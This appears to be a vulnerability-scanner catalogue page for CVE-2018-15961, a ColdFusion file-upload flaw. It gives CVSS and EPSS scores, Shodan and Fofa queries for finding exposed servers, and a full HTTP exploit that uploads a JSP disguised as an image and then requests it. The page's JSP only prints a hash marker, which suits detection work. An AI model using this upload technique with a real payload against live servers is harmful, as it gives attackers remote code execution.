| Title | Adobe ColdFusion - Unrestricted File Upload Remote Code Execution |
|---|---|
| Author | SkyLark-Lab,ImNightmaree |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system. |
| Remediation | Apply the necessary security patches or updates provided by Adobe to fix this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94422 |
| CVE ID | CVE-2018-15961 |
| CWE ID | CWE-434 |
| Shodan Query | http.component:"Adobe ColdFusion"http.component:"adobe coldfusion"http.title:"coldfusion administrator login"cpe:"cpe:2.3:a:adobe:coldfusion" |
| Fofa Query | title="coldfusion administrator login"app="adobe-coldfusion" |
| Tags | cve cve2018 adobe rce coldfusion fileupload kev intrusive vkev vuln |
Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 850
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Accept-Encoding: gzip
-----------------------------24464570528145
Content-Disposition: form-data; name="file"; filename="38FbhGjW5Kmgm9bqwazMtvM1KPJ.jsp"
Content-Type: image/jpeg
<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>
<%
String cve = "CVE-2018-15961";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
hx = Integer.toHexString(0xFF & digest[i]);
if(hx.length() == 1){hx = "0" + hx;}
hashedpasswd.append(hx);
}
out.println(hashedpasswd.toString());
%>
-----------------------------24464570528145
Content-Disposition: form-data; name="path"
38FbhGjW5Kmgm9bqwazMtvM1KPJ.jsp
-----------------------------24464570528145--
GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/38FbhGjW5Kmgm9bqwazMtvM1KPJ.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15961.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-15961.pcap
N/AN/A